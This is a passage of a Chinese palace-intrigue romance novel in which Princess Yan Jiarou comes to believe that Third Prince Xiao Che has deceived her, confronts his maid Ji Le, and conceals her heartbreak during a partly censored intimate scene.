“不是,是我自己的主意。”崔令颐看着他,眼中含着说不清道不明的情绪,只静静地在眸底流转:“不过只要你答应,萧彻,我向你保证,我一定能说服我的父亲。” “哦?这倒是奇了,崔大小姐一向眼高于顶,怎么如今却主动要与我成婚?我只怕,高攀不起。” “我并非厌恶你……”崔令颐垂下眼睫,轻轻地道:“我是崔氏嫡女,既享受了家族带给我的荣耀,自然也要承担家族的使命。崔氏与兰陵族人有世仇,昔年家主便被兰陵女子引诱,泄露了布防图,险些成了祸国殃民的千古罪人,后在杀了那名兰陵女子后也自裁谢罪了……” “崔氏一族,自此立下族训,认为兰陵人最擅蛊惑勾引之事,卑贱下作,崔氏族人,断不可与其有牵扯。” 萧彻眸底一片冷然,唇边却掠过一丝笑意,愈发凑近了她,气息若有似无地轻拂过她的脸颊,缓缓道:“那我们崔大小姐,如今就不怕,被我蛊惑勾引了么?” 嗓音透着磁性,带着几分散漫怠懒,分明漫不经心,却又偏偏格外撩人。 萧彻身上的气息铺天盖地地漫了上来,是淡淡的沉水香,明明是凝神静气的熏香,却莫名让她一阵浮躁,一颗心再也静不下来。 崔令颐心神乱了一瞬,抿唇道:“我从前是怕的,”她说着抬起头,猝不及防地撞上萧彻那张近在咫尺的脸,呼吸一窒,好半天才回过神来,匆匆地移开视线,只道:“可是现在,殿下不是已经洗清了血脉争议吗?” “所以你就要嫁给我?倘若我还是你口中卑贱的兰陵人,你还会想要与我成婚么?” 他正要继续说什么,眸光微动,忽然瞥见她玉白的耳垂不知何时已经红透,哂笑了声,“没想到,一向眼高于顶、冷清不凡的崔家大小姐竟然也会脸红,这戏,未免也做得太真了吧。” 他道:“崔大小姐,你想嫁的从来不是我,而是大魏未来的储君。从前储君是萧珏,你便想嫁他,如今眼看他已现颓势,而我有望储君之位,你便又想嫁我,是不是?” “在你眼里,我与萧珏都是一样,不过是你成为皇后路上的一块垫脚石罢了,你凭什么以为我会答应你?” 崔令颐抬头,眸底浮着朦胧的雾气,掩去了许多情绪,有什么一闪而过,只是看不真切:“你和萧珏,当然不一样。” “三殿下,”她道:“你与太子之间,我更希望你是储君。” 萧彻微微一怔。 但很快便又漫不在乎地笑起来,冷冷地看她一眼道:“如今储君之位已是,你自然这么说。” “你这样的人,会有真心吗?不过是权衡利弊罢了,我又为什么要做你权衡利弊之下的棋子?” 他说着慢慢直起身子,最后冷淡地看了她一眼:“好了崔大小姐,我没功夫陪你在这里玩这些无聊的把戏,你以后,也别再找我了。” 他说完转身就走,崔令颐愣了一下,缓缓攥紧了拳,像是终于下了某种决心,抬步追了上去:“萧彻,别走,你听我说——” 萧彻人高腿长,步子迈得自然大,很快就拉开她一段距离。 这次分别,下次恐怕很难有单独说话的机会了。 崔令颐心中一急,脚下跑得快了些,一不留神扭到了脚,随即重重地摔在地上。 萧彻听到动静后停下脚步,微微皱眉,到底还是转过了身。 一双皂靴缓缓映入眼帘,崔令颐怔怔地抬头:“三殿下……” 萧彻神色淡漠,不耐地朝她递出了手:“起来。” “崔大小姐出门,身边竟连个丫鬟也不带,这里只有你我二人,若出了事,只恐赖在我的头上。” 崔令颐抿唇不语。 这一跤跌得狠了,连手肘都被狠狠磕了一下,如今抬手都有些费力。 萧彻看出了她的窘迫,强压下不耐,俯身蹲在她面前,双手握上她的肩膀,正要扶她起来,崔令颐却忽然浑身一颤,毫无征兆地扑进他的怀里,双手紧紧环住他的腰身,嗓音带着一丝轻颤,只道:“三殿下,别走,听我把话说完。” 萧彻身体立刻绷紧了,一瞬间惊不能语,冷声道:“你做什么?” “我想这么做已经很久了……”崔令颐将脸埋入他的怀里,声音渺若尘烟:“听我说,我会帮你,我会让你在岁暮祭之前就登上那个位子,只要你娶了我。迟则生变,早一些达成心愿,省却诸多力气不好吗?” “崔氏有‘起死人、肉白骨’之称的玄麟丹,虽则言过其实,却也有起死回生的功效,只要尚留有一口气在,无论伤势多严重,抑或是到了病入膏肓的地步,只要服下玄麟丹,便都能救活。父亲答应我,等到了我出嫁那日,玄麟丹会成为我的嫁妆——这便是我的诚心。” “帮你就是帮我自己。三殿下,我也请你帮帮我……” “崔令颐,你究竟想做什么?” “我想做什么?”崔令颐唇边绽出一个飘忽的笑,极为清冷的一张脸,出尘绝艳,却像琉璃一般脆弱易碎。 目光落在虚空中的一点,她只喃喃地道:“我只是,想按自己的心意活一次罢了。” “只有这一次。” “这么多年,我实在太累了……” “萧彻,你能抱抱我吗?” …… 对面的紫云阁上,颜嘉柔站在高处,木然地望着底下的一幕。 崔令颐正紧紧地缠抱着萧彻,在他耳边说着什么。 距离太远,她看不清萧彻的神色,也听不清二人的对话。 但萧彻的那张脸,太过夺目,即便隔了这么远,她依然能一眼分辨出。 他身上披了一件墨灰鼠裘大氅,内里露出锦袍一角,是雨过天青色,与方才在竹林所见的一般无二。 算算时间,与姬乐幽会完出来后再到玉崠桥,的确差不离。 确实是萧彻无疑。 方才没看到脸,只听到声音,还可以说一句“耳听为虚,眼见为实”,可如今亲眼所见,却是避无可避,不得不信。 萧彻,她想,你知道,我有多想为你找借口吗? 可惜啊…… 姬乐、崔令颐…… 你到底,有多少个女人? 一生一世一双人的白首之约,终究是你先违背了。 再不愿见这刺眼的一幕,颜嘉柔面色惨白,仓惶地撇过脸去,转身匆匆下了阁楼。 萧珏往底下瞥了一眼,唇边浮上一抹冷笑。 转身又立刻追了上去:“嘉柔,等等。”他从身后拽住她的手臂,问她:“我那位三弟的风流债可远不止这些——你还记得淮州的万花楼有一名花魁,叫做花遥的么?” 颜嘉柔脚步一顿,僵硬地转过了身,抬头看向萧珏,她听见自己的声音涩然地响起:“你……你怎么知道?” 花遥她自然记得,二哥便是为了与人争夺她才会失手杀了人。 萧珏此时提起花遥,言下之意,莫不是连花遥都与萧彻有私情? 心中已隐隐有了某种预感。 她只觉一阵晕眩,连忙伸手扶上一旁的栏杆,才能勉强站稳。 萧珏这时从怀里取出一封书信,交给她道:“我派人去了一趟黔州,你二哥有话要对你说,要说的话,全写在这信里了。” 颜嘉柔预感这书信内容必与萧彻有关,当即别过脸去,下意识地便想逃避:“……我不想看,太子哥哥,你别逼我。” 萧珏闻言淡淡地收回书信,倒也不逼她,只道:“这信虽是写给你的,可信中内容我早已看过,你若不想看,我念给你听也是一样的。” “萧衍在信中说,他落到如此下场,皆是萧彻所为。疯马案借萧衍之手让我被马蹄踩踏,重伤要害,既坐实了他戕害皇兄的罪名,也让我深陷无法人道的丑闻,一箭双雕,何其阴毒。” “在淮州时,也是他做局,让萧衍失手杀了人,那万花楼的花魁,花遥姑娘,便是他的棋子,既是棋子,丢卒保帅也是理所应当。” “只是他究竟用了什么手段,让一名花魁不惜毁去容貌也不肯将他招供,嘉柔,你该是能想到的。” “这样的手段,他早就用过多回了,你不是第一个,也绝不会是最后一个。” “我早说了,兰陵人一贯如此,一个个都是祸水模样,所以才会有‘亡国’一说,他们最是下贱,为达目的不惜利用皮相勾引,惯是会蛊惑人心,此事不分男女,我那三弟青出于蓝,则更是个中翘楚。嘉柔,醒一醒吧,可莫要被他蛊惑了。” 颜嘉柔的身体微微颤抖起来,忽然一把夺过萧珏手上的书信,手指像是不受控制,一直在抖,数次之后,才终于抽出信纸,展开一看,信中所写,赫然与萧珏所言一般无二。 甚至信中还披露一些她与萧衍在淮州那几日的细节,根本不可能作伪。 ——这封信,确实是出自萧衍之手。 眼泪无声地淌落,泪珠一滴又一滴地砸在信纸上,晕染开一大片墨迹。 萧珏说的,全都是真的。 于是过往那些被她刻意忽视的细节又再度浮现,那日她在半梦半醒间听见萧彻倚在门口与薛止的对话,对话的内容分明是想让崔钰彻底恨上萧衍,而不是替萧衍摆平崔润之死。 她当时便隐隐觉得怪异,可是并没有深想,如今看来,一切果然都是萧彻设的局。 萧衍待他那样好,她一直以为两人手足情深,谁知道他居然会背后捅他刀子。 如今回想起来,只觉令人胆寒。 萧彻为了那个位子,连一向交好的二哥都能背叛,更何况是她? 她是什么?原来不过是他口中用来摧垮萧珏意志的工具、用来报复和折辱的玩物。 看着昔日说着讨厌他、处处与他作对的幼妹,有朝一日,也并不例外地为他沉迷,甚至丑态毕现、毫无尊严地向他求欢,他该是觉得很快意吧。 是啊,这天底下,还有比这更解气的报复手段吗? 何其高明,又何其残忍。 他演的真好,她曾经是真的以为他有多喜欢她,可到头来,却是被他骗得团团转。 今年的冬日比往年都要冷,不过刚入冬的天气,寒意便已然料峭,冷意沿着骨缝渗入,顺着经络一路攀爬至心口,像是被淬了冰的银针细密地扎入,那种疼是泛着彻骨冷意的。 她忍不住起了颤//。栗。 萧珏也觉察出她的不对,她的一张脸毫无血色,整个人都在抖。 他握住她的肩头,紧张道:“嘉柔,你怎么了?很难受?” 颜嘉柔眼睫轻轻颤动了一下,声音轻飘,像是远在天边:“太子哥哥……” 她道:“我不想再做傻子了。” “什么?”萧珏愣了一下,等反应过来之后心中不由得万般疼惜:“嘉柔,这不是你的错,是萧彻骗了你,该死的是他。” “对不起,是我三心二意,朝三暮四,禁不住诱惑,背叛了你,成了萧彻对付你的工具,间接地害了你……” 她唇边逸出一丝苦笑,喃喃地道:“如今,也算是自食恶果了……” 他轻轻叹息了一声,将她按入怀里:“嘉柔,不要这么说,我从来没有怪过你。” “只要你现在清醒过来,一切就还不算太晚。我们可以重新开始,我还是会像从前一样对你。” “至于萧彻,你如今该是彻底看清他是怎样一个人了,”他抚摸着她的后脑,附在她耳边,幽幽地道:“倘若你还没有彻底死心,想要找到更多的证据,那就去含光殿看看吧。” —— 玉崠桥上,萧彻到底还是推开了崔令颐,只是握着她的肩膀,将她从地上扶起,语气是一贯的冷淡,只道:“没有崔氏助力,我照样可以坐上那个位置,完成我母妃的遗愿。” “崔大小姐,我自问不是什么君子,倘若放到从前,你想找我合作,各取所需,未必不可,可如今我已有了真正想娶的人,无论何时何地,我都不会牺牲她,所以我不可能娶你。” 崔令颐惨淡一笑,声音飘散在冬日的雾气中,无端显出几分渺然:“我早应该想到……不过我并不后悔,三殿下,人这一生,总要为自己活过一次,是吗?” 萧彻眉心微蹙。 崔令颐看着他,唇边弯起一个极轻的弧度:“你喜欢的人,是清河公主么?” 萧彻皱眉:“你怎么……” “很意外吗?”崔令颐仿佛陷入了某种回忆,怔怔然地道:“因为你每次看她的眼神,我都熟悉至极。” “好了,三殿下,”她伸手搭上他的手臂,朝他微微一笑道:“不是说不会丢下我的么?便请劳烦扶我去对面的亭子吧,之后只需知会贞儿一声,她自会通知我府上的人,如此一来,便不会损了殿下的清誉。” 萧彻看了她一眼,喉结滑动,到底还是搀着她的手,一步步地往亭中走去。 桥的尽头便是水榭,相隔不过数十米。 她扭了脚,不得不走得极为缓慢,萧彻亦配合着她放慢了脚步。 于是这短短的一段路,便仿佛变得漫长起来。 她从来没有一刻,像此刻这般,希望这条路永远没有尽头。 东瀛茶道有一句话,叫做“一得永得”①,今日他扶着她走了这一段路,算不算“执子之手”? 即便只有短暂的片刻,却也曾拥有过,多年后回想起来,大约也会觉得美好。 —— 颜嘉柔浑浑噩噩地走在宫道上,耳边不断回荡着萧珏临走时说的那一句话“倘若你还没有彻底死心,想要找到更多的证据,那就去含光殿看看吧。” “那就去含光殿看看吧……” “那就去含光殿 看看吧……” 一抬头,果然已经不知不觉走到了这里,她唯恐遇到萧彻,一时不知该怎么面对他,立刻掉头往回走,不防迎面忽然撞上一人。 来人“哎呀”了一声,手中似乎捧着什么物件,随着碰撞应声落地。 颜嘉柔受了惊吓,往后退了一步,低头一看,只见一个漆金乌木箧斜正倒在青砖上,里面的书帛散落了一地,倒不是什么机密的卷宗,不过是《六朝骈文集注》、《盐铁论拾遗》这类文集或是与政事有关的书卷。 而低头正在整理,正是姬乐。 颜嘉柔缓缓攥紧了手,正要收回视线,余光却忽然瞥见一方锦帕从书页中滑出,瞧这颜色样式,分明是女子之物。 颜嘉柔一颗心又突突跳动起来,鼓膜随着心跳剧烈震颤,耳朵顿时嗡鸣一片。 她几乎形成了条件反射,直觉这绣帕的主人必然也与萧彻有私情,便立刻近乎失态地俯身去拾夺那方绣帕,拾起后才注意到绣帕底下是一本卷宗。 ——众多文集书卷中,唯一的一本卷宗。 许是出于某种直觉,她也一并拿了起来。 翻开第一页,入目便是一个人的名字——姜嫣。 手一抖,一张云纹纸从卷宗中滑出,上面赫然又是另一个人的名字——贾唯。 于是她突然想起,在很久以前,她是见过这两样东西的,就在萧彻的书房。 而这两个名字,姜嫣,贾唯,一个是萧彻现在名义上的母妃,助他洗清血脉争议;一个是在朝堂上为他颂功美言的寒门领袖,是萧彻一派如今的中流砥柱。 原来如此……原来他从这么早就开始谋划谋局。 她自嘲地笑了下,从心底深处生出一种近乎麻木的悲凉,低头展开手中的那方绣帕,只见绣帕右下角赫然绣着两个字。 一个人的名字,花遥。 像是被冰冷的潮水淹没口鼻,周遭的一切声音都瞬间湮灭,她随之陷入了无边的黑暗,什么也看不到,什么也听不到。 那种彻骨的寒意再次漫了上来,像是带刺的藤蔓,慢慢缠绕束缚住心脏,又在某种刺激下倏忽收紧,心口便霎时传来一阵窒息的疼。 她无忧无虑地长到十五岁,平生从未吃过什么苦,受过什么伤,拜萧彻所赐,这一生受过最大的伤,便是眼下这一身情伤。 他带她初尝情爱滋味,的确带给了她许多甜蜜欢愉,却也让她领教了什么叫做剜心之痛,生不如死。 一夕之间,她仿佛被迫长大了许多岁。 早知道短暂的欢愉过后,要付出这样惨痛的代价,她宁愿从来没有开始过。 眼下还有什么不能明了的呢? 所有人都是他的棋子,所有人都可以被他利用,只为了谋夺那个位子,便可以不择手段,无所不用其极。 她真蠢,其实早有端倪,一切都有迹可循,是她一味沉溺在萧彻的柔情蜜意里,不肯去看,不肯去想,于是到如今才被迫看清,代价就是已经陷得极深,若想拔除,必得经历一番锥心之痛、血肉模糊。 耳边忽然响起一声女子的轻笑,姬乐作势福了福身:“原来是清河公主,奴婢看今日太阳不错,想着帮殿下晒一下经书,方才刚刚收回来,正要进殿呢,不想冲撞了您,还请您勿怪。” 颜嘉柔冷冷地看着她。 姬乐唇边含着若有似无的笑意,微微挑眉,目光在她身上逡巡,忽然“呀”的一声,说道:“公主,殿下的东西,您还是不要随意翻看的好。”说着也不等她反应,一把将她手上的东西夺了过来:“尤其是这方绣帕,是故人所赠,意义不凡呢。” 颜嘉柔面无表情地看着她:“你可知这方绣帕是谁赠给他的?你不是喜欢萧彻吗?难道丝毫不介怀?” 姬乐不以为意道:“我爱慕殿下,却从未想过独占他,只要他好,我便觉圆满。月亮高悬于顶,是众人的月亮,月光曾经照在我的身上,我就已经心满意足了。我对殿下的爱,可没有公主你那般自私。” 颜嘉柔只觉有一种荒诞的可笑,便突地笑出了声:“我自私?” 她点了点头:“是啊,我便是一贯骄纵任性,自私自利。好笑,姬乐姑娘难道是第一天才认识我吗?” 颜嘉柔上前一步,凑近了她,直视着她的眼睛道:“明月高悬,我便是恨他独不照我。月光既照在我身上,便该只属于我,若是做不到抑或是掺了假,我便不要了,我可没有姬乐姑娘这么伟大,这算什么?化小爱为大爱吗?” 说完才想起姬乐是一直知道她和萧彻之间的事的,眼睁睁地看着心爱的人当着她的面和自己卿卿我我,她居然忍了这么久,可不是伟大至极吗? 不由得又发出一记哂笑。 她看着她,面容有一种冷然的平静:“他欠我的,我一定会让他还我。” 姬乐却仿佛应激一般,一张脸瞬间变得扭曲:“还?你想让他还什么?清河公主,我告诉你,他从不欠你什么。倒是你,欠他的实在太多太多,只怕终其一生,也还不了了。你就是个害人精,你跟他在一起,只会带给他无尽的灾祸。用他的血,害他的命,一边享受着与他的鱼水之欢,一边转头把他给卖了,不将他敲骨吸髓不肯罢休。如今倒还有脸让他偿还你?偿还你什么,他还有什么,一条命吗?你若还对他残留一丝真心,就请你高抬贵手,放过他吧。” 颜嘉柔慢慢蹙起眉心,完全听不懂姬乐的这番话,明明是他负了她,为什么落在她的口中,仿佛她才是那个罪人:“……你在说什么?” 姬乐一怔,像是才回过神来,掩饰性地将一缕鬓发别至耳后:“没什么”,她复又抬起头,唇边绽出一抹奇异的笑,幽幽地道:“说起来,今日原本约公主在避仙亭见面,可我在亭中等了许久,也迟迟不见公主现身,不知公主可有见到我为你备下的那一份大礼啊?” 颜嘉柔猛地抬眼,又被迫想起了在竹林里所目睹的一切,心脏一阵抽疼,痛苦与嫉恨像是一条毒蛇,一点点蚕食着她的理智:“你!” 这分明是挑衅,而她一向最受不得激,当下便抬手想要掌掴。 “怎么,公主想要动手?” 姬乐无谓地笑了,继续激怒她道:“无妨,公主虽无皇室血脉,但到底占了个公主的名号,既是公主,想要责打奴婢,奴婢又岂敢有二话?只是打在脸上,若留了痕迹,待会儿殿下问起,奴婢如实交代,只怕殿下怜惜心疼奴婢之余,觉得公主苛责下人,骄纵跋扈更甚从前,心中愈发不喜了,届时公主可莫要再寻死觅活才好。” “你!” 二人正对峙着,身后忽然有脚步声渐近。 一道森冷的声音在身后响起。 “姬乐,你在做什么?” 姬乐一怔,循声转头望去,面色微变:“殿下……” 萧彻 负手朝两人走来,看了她一眼,语气冷淡:“在做什么?” “我……奴婢只是替殿下晒了一下书,方才收回,正要搬回殿中,谁知半路上不小心冲撞了公主,引得公主生气,便要……” 萧彻冷冷道:“既冲撞了公主,还不道歉?” 姬乐一脸错愕地抬起头:“殿下……” 明明是颜嘉柔要掌掴她,他明明看到了不是吗?为什么还要她道歉?他就这么偏袒她?姬乐攥紧了拳,虽心有不甘,却也只能咬牙道:“奴婢不小心冲撞了公主,还请公主恕罪。” 颜嘉柔只是漠然地看着她。 萧彻略抬了一下手:“下去吧。”目光却早已望向颜嘉柔。 姬乐忍耐道:“是。”说着便转身离开,与萧彻擦身而过之际,却忽然听见他压低声音,在她耳边冷声警告道:“再有下一次,便不必留在含光殿了。” 姬乐面色一白,指甲深深地陷入乌木箧外层的金漆中,艰难地从齿缝中挤出一个“是”字,低头逃也似地离开了。 姬乐走后,殿外一时便只剩他二人。 颜嘉柔低着头,却能感受到萧彻的视线一直停留在她身上,一时心乱得厉害,耳边回响起萧珏劝诫她的话:在怪病未被治愈之前,你现在与他撕破脸,实在讨不到半分好处。 若是摊牌了,必然撕破脸,眼下她只能装作什么都没发生过。 只是她知道自己现在的状态很不对,若是和萧彻再待下去,难保不会被他看出端倪。 忽然不远处传来砰的一声,像是有什么重物掉落,颜嘉柔抬头望去,原是姬乐方才离去时便神色恍惚,不知在想什么,走到一半,居然又将书箧摔落在地。 这一声显然也吸引了萧彻的注意。 颜嘉柔便趁着这个当口,放轻脚步,抬步悄悄离开。 只是将将擦身之际,手臂却一把被人拽住。 萧彻转过脸来,略略侧过身,似笑非笑地打量着她:“不是来含光殿找我么?” “怎么见到我就溜,嗯?” 第123章 第123章“小兔,来都来了………… 颜嘉柔别过脸,只能道:“我……我不是来找你的,我只是碰巧路过……” 说着便想挣脱他的钳制,可惜试了几次都不能够,不免着恼道:“你放开我,我要走了!都说了不是来找你的了!” 萧彻“哦?”了一声:“不是来找我的么?” 他不以为意地笑了下,低头凑至她的耳旁,哑声道:“不过小兔,来都来了……” “什么?” 颜嘉柔尚还未反应过来这句话的意思,却忽感身子腾空,回过神来一看,萧彻已经把她整个抱在怀里了,正转身往殿内走去,她着急地蹬着双腿,胡乱拍打着他:“你放开我!你把我放下来……我不要进去!” 颜嘉柔发起脾气来没有分寸,有几次拍打在他的脸上,那力道与掌掴无异。 他微微偏过了脸:“又打我?” “今天怎么了,这么不乖?” 颜嘉柔闻言冷笑道:“我又不是你的玩意儿,为什么要乖?” “哦?当初某人求我和好时,说的可是‘以后都会很乖,我说什么,你就做什么’,怎么,这才过了多久,就翻脸不认人了?” 颜嘉柔神情有些不自然,蹙眉道:“反正……你放我下来!” “我偏是不放呢?” “萧闻祈,你混蛋,你放我下来!!” 萧彻抬眉:“真这么想下来?” 他轻扯了唇角:“我答应你就是了。” 颜嘉柔狐疑地望着他,忽感腰肢上力道一松,她整个人骤然间往下坠。 “啊!”她当即吓得尖叫了一声,下意识地紧紧圈住他的脖颈,防止摔下去。 他这么高,将她打横抱起后,她离地面尚有好一段距离,若是摔下去,一定会很疼的。 耳边这时传来一声闷笑,萧彻心情颇好地弯起唇角:“这才乖啊。” “皇妹,不想摔下去的话,可要抓紧了。” 颜嘉柔气恼地瞪了他一眼:“你……你是故意的!” 萧彻笑了下,转头看向她,也不否认:“好了心肝,急什么,等到了床上,自然会放你下来。” 等到了床上,萧彻将她放下来,她的脚甫一落到实处,便迫不及待地想要离开,只是正要起身,萧彻便又伸手揽过她的腰肢,将人重新勾带回床上,转而翻身压在她的口口,嗓音喑哑:“小兔,去哪儿?” “我……我要回承欢殿……” 萧彻含住她的耳垂,沿着颈侧一路……全删……一边熟练地解开她身前的玉扣,一手……,解开系带的活结,衣襟很快便散开,露出……,他将脸埋了进去……,含混地道:“不急,晚些再回去。” 颜嘉柔推拒着他:“不行,我现在就要回去了!” 今日的所见所闻,她不可能当做什么都没发生过,萧彻根本不喜欢她,这么对她也不过是为了报复折辱她。 她不想再跟他做这种事了,可如今他压在她身上,她半分也推拒不了,想起他在竹林里说的那些折辱她的话,心中一片悲凉,嗓音也跟着染上了哭腔:“你放开我……” 萧彻抬头,浅色的瞳仁已经染上浓重的情//。欲,忍//。耐着道:“宝宝,到底怎么了?” 指腹拭去她眼尾的湿意,他微微皱眉:“怎么哭了?” 颜嘉柔只是偏过脸,低低地道:“你放我回去,我要回去……” 他钳住她的下颌,将她整张脸扳了过来,迫使她与之对视:“我可以让你回去,可是颜颜,你要告诉我,你到底怎么了?” “我……”颜嘉柔眼睫轻颤,慌乱地垂下眼睑,掩去眸中的情绪:“我没怎么……我只是,身子不舒服,想先回去了……” 他这时才注意到她的脸色确实十分苍白,身子也格外冷,原以为是今日天寒,在外面站久了的缘故,可如今他将她抱至殿内,又与她肌肤相贴,在床上温存了许久,怎么还暖不过来? “颜颜,到底怎么了?你在外面站了多久,可是吹了风?” 颜嘉柔昏昏沉沉,苦于不能彻底撕破脸,却又没有好的借口打发他,闻言便顺着他的话道:“或许吧,可能有些受凉了……回去歇一下就好了。” “早说了这几日天气冷便少在外面逗留,看来我的话,你是半句也没听进去。” 他嗓音微沉,终于从她身上下来,站在床边看着她:“我让人去给你熬碗参汤,喝完再回去。” 颜嘉柔慢慢坐了起来,低头整理着胸前凌乱的衣襟,笨拙地扣着玉扣。 往常事后都是萧彻帮她穿衣整理的,她习惯被人伺候了,从不沾手这些事,今日自己整理,难免有些生涩,玉扣几次都对不准,一时只觉诸事不顺,连扣子都欺负她,动作越来越急躁,后面竟发起脾气来,胡乱拽拉一通,倒像是想要扯坏玉扣。 萧彻轻叹一声,俯下身,手指搭上她端襦上的玉扣,柔声道:“好了,这也值得生气?我来吧。” 他熟练地帮她扣上玉扣,系上襟带,一气呵成。 又仔细地替她整理好衣襟,做完这一切之后,便丝毫看不出之前被肆意弄乱的痕迹了。 颜嘉柔全程低垂着脑袋,闷闷地不说话。 萧彻挑眉:“三哥帮了你,连句谢谢也不说?”也不知今天小兔是怎么了,一点儿也没有平时的黏人劲,不光嘴巴不甜,连人都不爱叫了。 “我为什么要说?本来就是你弄乱的。” “行,”萧彻笑了下,伸手掐了掐她的脸蛋,点了下头:“这事先不跟你计较。” “不过我方才说的,你可听见了?要想回去,就得乖乖喝完姜汤。” 喝完姜汤就能回去?颜嘉柔抿唇,在心中盘算着:熬完姜汤加上喝完,统共加起来也没多少时间,不够萧彻做一次的,这么说来,他是答应不碰自己了? 也是,往常只要她身子不舒服,他再想碰她也会强忍着。 思及此,她悄悄松了口气,点头道:“好。” 萧彻神色稍霁。 抬手揉了揉她的脑袋,弯唇道:“这才乖啊。” —— 萧彻吩咐完宫人去熬制参汤后,回来后发现颜嘉柔已经起身,正倚在窗边,怔怔地望着窗外的一棵梧桐树。 传言凤凰非梧桐不栖,有凤来仪,故而梧桐一向被视为祥瑞,宫中多种植。 只是梧桐并非松柏,能够四季常青,秋收冬藏,一到冬天,叶片便发黄掉落,只余光秃秃的疏枝,实在没什么好看。 小女孩都爱看姹紫嫣红,花团锦簇,小兔自然也不例外。 只有行将就木、毫无生机之人,才会有哀怜共感,盯着一树枯枝出神。 他皱了皱眉,总觉得小兔今日像是有什么心事。 他走了上去,从身后环抱住了她的身子,将下颌枕在了她的颈侧,轻轻蹭了蹭:“看什么呢,嗯?” 颜嘉柔回过神来,垂下眼帘:“没什么。” “那怎么今天一点儿都不活泼,整个人恹恹的?” “……或许是累了。” 萧彻蹙眉,直起身,将人给扳了过来,低头看着她道:“颜颜,究竟怎么了?是还在为方才姬乐冲撞你的事生气?” 提到姬乐,便觉一股邪火上涌,冷哼了一声道:“她算什么,还不配让我生气。” 萧彻捏了捏她的脸:“好了,往后你来的时候,不会再见到她了。” 颜嘉柔眼睫颤动了一下, 似乎是有些诧异,她抬头望向他,抿了抿唇,到底还是忍不住问道: “方才在殿外的情形,你来的时候,该是见到了,我差点打她,你不怪我吗?为什么不问是非曲直,便斥责她?” “不是说了我护短?你是我的人,我自然信你。”他亲了一下她的额头,弯唇道:“而且我知道我们颜颜,虽然骄纵,但心地善良,从不苛责下人,她一定是做了出格的 事,才惹恼了你,自然是她的错。” 颜嘉柔闻言,鼻尖不禁一阵泛酸,被人信任的感觉真好。 虽然知道萧彻对她不过是做戏,可眼下还是生了恍惚,像从前一般,依恋地扑进他的怀里:“哥哥……” 却在嗅闻到他肩上的一缕幽香后,身体瞬间变得僵硬。 那是……女子身上的花露香气。 她不由得想起今日在阁楼上见到的那一幕——崔令颐紧紧环抱住他的腰身,将脑袋枕在他的肩上。 ——那一缕若有似无的幽香,该是在那个时候留下的吧。 一瞬间手脚变得冰凉,她的脸色又骤然惨白了三分。 强撑着从他的怀里退了出去,她攥紧手掌,抬头看向他:“萧彻,你今天去了哪儿,又见了谁?” 她脸上仍强撑着笑意,窗外的天光映照在她的脸上,唇边的笑意渐渐显出几分虚幻:“你的身上怎么会有女子的香气?” 既是试探,也是决意给他的最后一次机会。 可惜萧彻在微微怔愣之后,眸光微敛,斟酌了片刻,说的却是:“……也没去过什么地方,身上的女子香味,想必是方才被一个毛手毛脚的宫婢撞在身上,残留所致。”他不可能说出实情,萧彻想,小兔从来天真单纯,却唯独对与崔令颐有关的事格外敏感,她今日本就闷闷不乐,若是再让她知道他今天见了崔令颐,身上残留的香味也是来自她,只怕更要胡思乱想,郁郁寡欢了。 颜嘉柔意味不明地笑了声,喃喃地道:“这样啊……” 果然,从头到尾,没有一句是真。 她眸底笼上一层寒光,终于在这一刻对萧彻彻底死心。 —— 姜汤被端到眼前,热气氤氲。 按照从前的经验,小姑娘只爱甜食,最讨厌喝药,似姜汤这种不甜不苦的,则更是倒胃,她喝这种东西,一贯是要人哄着的。 萧彻正想开口说几句软话哄她乖乖喝下,谁知下一刻,颜嘉柔却一把从他手里接过姜汤,仰头将其一口喝尽。 将药碗递还给萧彻,她看了他一眼,淡淡地道:“喝完了,我可以回去了吧?” 萧彻回过神来,挑眉笑道:“今天喝药怎么这么乖?” “我们颜颜,终于长大了。” 他之前确实答应她喝完药就可以走,可他没想到她会喝得这么快,他只当她还在与他闹脾气,故意强忍着味道一口气喝尽,只为了快点回去,当下也并没有放在心上,只觉得今天小兔乖乖送上门来,在他跟前晃荡一圈,光让他闻着味了,却不让他吃上一口兔肉,不是故意折磨他是什么? 这般行径,实在可恨,他偏是不想就这么轻易放她离开。 他将药碗搁置在床边的几案上,转而又从身后拥住了她,含住了她雪白柔软的耳垂:“小没良心的,这就走了?” 颜嘉柔忍着痒意,微微偏过脸去:“你答应过我的……” “我答应你喝了姜汤就让你回去,可没说喝了之后就立刻让你回去。” 颜嘉柔回头瞪他:“你!” 萧彻懒洋洋地抬了一下眉,一副“我便是这样,你又能奈我何”的无谓神情。 颜嘉柔知道萧彻的无赖劲又上来了,今天没让他弄,他此刻下口还口口着,身上没得到满足,便变着法儿地找她不痛快,只怕不给点甜头,他不会轻易放她离开。 她转过身,伸手捧过他的脸,踮起脚尖,蜻蜓点水地吻了一下他的唇:“这样总行了吧。” 萧彻挑眉,琥珀色的瞳仁里蕴着笑意,忽然一把扣住她的后脑,将人往怀里按,低头狠狠地吻了上去。 舌尖描摹着她的唇形,继而撬开她的唇齿,一路长驱直入,吮//。咬着她柔软的舌尖,肆意地掠夺她的气息。 这一个被迫的深吻不知持续了多久,直到颜嘉柔整个人晕晕乎乎,再呼吸不过来时,他才终于慢悠悠地放开了她。 看着瘫软在他怀里,唇瓣红肿,眼神迷蒙的颜嘉柔,他这才觉出几分快意,餍足地舔了舔唇,道:“这样还差不多。” 第124章 第124章太子哥哥,我会按你说…… 颜嘉柔回去后第一件事就是找出萧彻之前送给她的香囊,这个香囊里装着他命门的秘密,她一向保管得很好。 她将它锁在双鱼符漆函中,漆函的钥匙则藏在颈项间挂着的那个镂空双鸾金坠中,随身佩戴,从不离身。 甚至在沐浴或是和萧彻云雨时,身上已经**了,也未曾将金坠取下,这样一来,就绝不会丢。 她也从未向旁人透露过里面的玄机,连映雪问她这是什么,她都没有说。 萧彻和她行事时,注意力从来放在她的身体上,自然不管佩戴什么,不过次数多了,也难免问上一句。 颜嘉柔那时支支吾吾地不肯说,总觉得若是将实情托出,会让他觉得她连钥匙都要随身佩戴,未免太过珍视,大约是爱他爱到要死了吧,他肯定会借机揶揄的。 她才不要让他知道呢。 萧彻便勾起金链,在指尖细细摩挲,觑了她一眼,玩味道:“怎么不说话了,嗯?” “每次和我做的时候,都要戴这玩意儿,也不嫌碍事?” 颜嘉柔鼓起脸颊,小声反驳道:“不就是一个镂空香囊金饰么,那般小巧,怎么就碍事了?” 萧彻看了她一眼,一本正经地道:“碍着我摸乃子了。” 